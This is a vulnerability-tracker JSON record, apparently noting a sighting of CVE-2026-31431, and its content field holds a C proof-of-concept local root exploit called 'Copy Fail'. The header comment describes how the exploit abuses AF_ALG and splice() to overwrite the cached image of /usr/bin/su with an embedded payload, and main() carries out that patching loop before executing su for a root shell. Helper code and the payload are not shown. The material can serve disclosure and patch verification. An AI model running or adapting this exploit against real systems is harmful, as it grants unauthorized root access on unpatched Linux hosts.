{"uuid": "443a0012-c304-40bd-906e-b2279a829e92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/spynika/f39604e6aca8dd619921a78875622691", "content": "/* SPDX-License-Identifier: LGPL-2.1-or-later OR MIT */\n/*\n * Copy Fail -- CVE-2026-31431\n * AF_ALG + splice() page-cache-mutation LPE proof-of-concept.\n *\n * Cross-platform C proof-of-concept by Tony Gies .\n *\n * Disclosed 2026-04-29 by Theori / Xint. Canonical writeup: https://copy.fail/\n *\n * Mechanism:\n *   For each 4-byte window of the embedded static-ELF payload (built from\n *   payload.c, embedded via `ld -r -b binary` -- see Makefile), runs one\n *   bogus AEAD-decrypt through AF_ALG whose ciphertext input is supplied\n *   via splice() from /usr/bin/su's page-cache pages. The authencesn\n *   template's in-place optimization treats the splice'd source pages as\n *   both ciphertext input and plaintext destination, so the (failing)\n *   decrypt has already overwritten 4 bytes of the page-cache page by\n *   the time auth verification rejects the request. Walking 4 bytes at\n *   a time across the payload deterministically writes the entire blob\n *   into the cached image of /usr/bin/su. execve() of the target loads\n *   the (mutated) cached pages; the unchanged on-disk inode is still\n *   setuid root, so the kernel hands the payload root creds; payload\n *   pivots into a real root shell.\n *\n * Affected kernels:\n *   floor:   torvalds/linux 72548b093ee3 (Aug 2017, 4.14, AF_ALG iov_iter\n *            rework that introduced the file-page write primitive)\n *   ceiling: torvalds/linux a664bf3d603d (Apr 2026, reverts the 2017\n *            algif_aead in-place optimization; separates src/dst\n *            scatterlists so page-cache pages can no longer be a writable\n *            crypto destination)\n *   in between: every Ubuntu, RHEL, SUSE, Amazon Linux, Debian etc.\n *   distro kernel that didn't backport the fix.\n *\n * Build: see Makefile. (`make` in this directory.)\n */\n\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n\n#include \n\n#include \"utils.h\"\n\n/* Symbols synthesized by `ld -r -b binary -o payload.o payload`. */\nextern const unsigned char _binary_payload_start[];\nextern const unsigned char _binary_payload_end[];\n#define PAYLOAD       (_binary_payload_start)\n#define PAYLOAD_LEN   ((size_t)(_binary_payload_end - _binary_payload_start))\n\nint main(int argc, char **argv) {\n    const char *target = (argc &gt; 1) ? argv[1] : \"/usr/bin/su\";\n\n    int file_fd = open(target, O_RDONLY);\n    if (file_fd &lt; 0) {\n        fprintf(stderr, \"open(%s): %s\\n\", target, strerror(errno));\n        return 1;\n    }\n\n    size_t len = PAYLOAD_LEN;\n    size_t iters = (len + 3) / 4;\n\n    fprintf(stderr, \"[+] target:    %s\\n\", target);\n    fprintf(stderr, \"[+] payload:   %zu bytes (%zu iterations)\\n\", len, iters);\n\n    /* Walk the embedded payload in 4-byte windows. Last window is zero-\n     * padded if PAYLOAD_LEN isn't a multiple of 4 (the extra bytes simply\n     * land past end-of-payload in the page-cache page; harmless). */\n    for (off_t off = 0; (size_t)off &lt; len; off += 4) {\n        unsigned char window[4] = { 0, 0, 0, 0 };\n        size_t take = (len - (size_t)off &gt;= 4) ? 4 : len - (size_t)off;\n        memcpy(window, PAYLOAD + off, take);\n\n        if (patch_chunk(file_fd, off, window) &lt; 0) {\n            fprintf(stderr, \"patch_chunk failed at offset %lld\\n\",\n                    (long long)off);\n            return 1;\n        }\n    }\n\n    close(file_fd);\n\n    fprintf(stderr, \"[+] page cache mutated; exec'ing target\\n\");\n    execl(\"/bin/sh\", \"sh\", \"-c\", \"su\", (char *)NULL);\n    perror(\"execl\");\n    return 1;\n}", "creation_timestamp": "2026-06-04T07:19:08.000000Z"}